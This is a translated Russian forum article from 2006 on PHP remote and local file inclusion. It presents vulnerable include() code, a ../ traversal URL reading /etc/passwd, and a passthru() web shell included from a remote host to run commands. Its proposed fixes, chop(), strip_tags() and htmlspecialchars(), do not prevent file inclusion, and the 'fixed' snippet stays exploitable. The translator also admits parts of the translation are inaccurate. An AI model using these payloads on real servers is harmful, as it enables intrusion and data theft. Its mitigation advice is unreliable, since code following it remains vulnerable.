Статьи Remote /Local File Inclusion Exploits

Discussion in 'Статьи' started by Lancellot, 9 Dec 2006.

  1. Lancellot

    Lancellot Member

    Joined:
    9 Aug 2006
    Messages:
    138
    Likes Received:
    23
    Reputations:
    7
    Возможности дистанционного и локального включения файлов.

    Дистанционные и локальные включения файлов - исключительно насущная проблема, как и многие другие. Итак, этот документ, надеюсь, даст вам некоторые идеи о том, как предотвратить возможности файловых включений на вашем сайте и, что более важно, в вашем коде. Я предоставлю некоторые примеры кода на PHP.
    Посмотрим на фрагмент кода, который делает RFI/LFI возможности вероятными

    Код:
    Code:
    <a href=index.php?page=file1.php>Files</a>
    <?php
    $page = $_GET[page];
    include($page);
    ?>
    Очевидно, это лучше никогда не использовать. Ввод через $page совсем не контролируется пользователем. Ввод через $page проходит напрямую через веб-страницу, которая - одно большое недоразумение.
    Вы должны всегда контролировать каждую порцию данных, проходящую через браузер. Когда пользователь выбирает ссылку "файлы" на веб-странице, чтобы посетить "files.php", это будет выглядеть примерно как

    Код:
    Code:
    http://localhost/index.php?page=files.php
    Теперь, поскольку никто не очищал переменную $page, мы можем указать ей на всё, что угодно. Если использовался сервер с Unix, можно увидеть пароль или файлы конфигурации для сервера через эту неочищенную переменную ввода. Возможность видеть содержимое сервера будет "локальным файловым включением" или LFI-возможностью.

    Код:
    Code:
    http://localhost/index.php?page=../../../../../../etc/passwd
    Возможно вернуть etc/passwd. Теперь посмотрим на RFI-сторону этой возможности. Возьмём снова тот же код

    Код:
    Code:
    <a href=index.php?page=file1.php>Files</a>
    <?php
    $page = $_GET[page];
    include($page);
    ?>
    Теперь предположим, что мы ввели нечто вроде

    Код:
    Code:
    http://localhost/index.php?page=http://google.com/
    Мы должны, вероятно, получить включённую домашнюю страницу google.com там, где первоначально была введена переменная $page. И вот где программист действительно уязвим. Известно, что может сделать c99 shell, и если программисты осторожны, они могут быть включены в страницу, позволяя shell разрешить пользователю на досуге проходить через существенные файлы и директории.
    Посмотрим на нечто более простое, что может быть включено в веб-страницу. Более простой и грязный путь использования RFI-возможности к вашей выгоде. Сделаем файл под названием "test.php", вставим в него следующий код и сохраним

    Код:
    Code:
    <?php
    passthru($_GET[cmd]);
    ?>
    Теперь этот файл может быть использован, чтобы включить в страницу, на которой есть RFI-возможность. Команда passthru() в PHP очень опасна, и на большинстве серверов она будет отключена "из соображений безопасности". Она запускает команды на сервере. То есть, с таким кодом в файле test.php мы можем послать запрос на веб-страницу, содержащую включение возможности наподобие следующей

    Код:[/CODE]
    http://localhost/index.php?page=http://.../test.php[/CODE]
    Если код даёт запрос $_GET, мы обеспечим команду, которая пройдёт через команду passthru(). Итак, теперь мы будем иметь нечто вроде

    Код:
    Code:
    http://localhost/index.php?page=http://.../test.php?cmd=cat/etc/passwd
    Которое будет использовать команду cat на Unix-машине, чтобы обнаружить файл /etc/passwd.
    Зная, как разработать RFI-возможности, мы должны знать, как сдерживать их и делать невозможным для кого-либо дистанционное выполнение команд и включение страниц на вашем сервере.
    Прежде всего, мы должны отключить команду passthru(), хотя, может быть, что-либо на вашем сайте её использует (будем надеяться, что нет).
    Но это единственное, что мы можем сделать. Я рекомендую очищать ввод, как было сказано ранее. Тогда вместо передачи переменной непосредственно на страницу мы могли бы использовать некоторые встроенные функции, которые предлагает PHP. Например, chop(), пришедшее из PERL и заимствованное PHP, которое удаляет "белые пятна" из строки. Оно может быть использовано, например, так

    Код:
    Code:
    <a href=index.php?page=file1.php>Files</a>
    <?php
    $page = chop($_GET[page]);
    include($page);
    ?>
    Существует много функций, которые могут очистить строку - htmlspecialchars(), htmlentities(), stripslashes() и другие. Я предпочитаю использование моих собственных функций, чтобы избежать беспорядка.
    На PHP можно построить функцию, которая очищает всё, что угодно, вот пример, написанный специально для этого объяснения

    Код:
    Code:
    <?php
    function cleanAll($input) {
    $input = strip_tags($input);
    $input = htmlspecialchars($input);
    return($input);
    }
    ?>
    Надеюсь, вы разберётесь, что происходит в этой функции, и сможете добавить свои собственные. Предполагаю, что с помощью функции str_replace() и многих других вы сможете останавливать RFI- и LFI- возможности.

    Перевод VNM

    Примечание переводчика - данный текст представляет собой неточный перевод английского текста по двум причинам:
    1) Текст в нескольких местах использует специализированную терминологию, которой я вообще не понимаю и которой нет в имеющихся у меня словарях. В этих местах были использованы эквиваленты, подобранные из соображений согласования с текстом и степени понимания текста.
    2) Автор использует часто замечаемый мной в англоязычных источниках разговорный, образный стиль изложения, совершенно не соответствующий тематике. Текст был сокращён в тех местах, где красивости этого стиля не играли роли в понимании смысла и/или трудно поддавались переводу.

    copy by:forum.xhackers.ru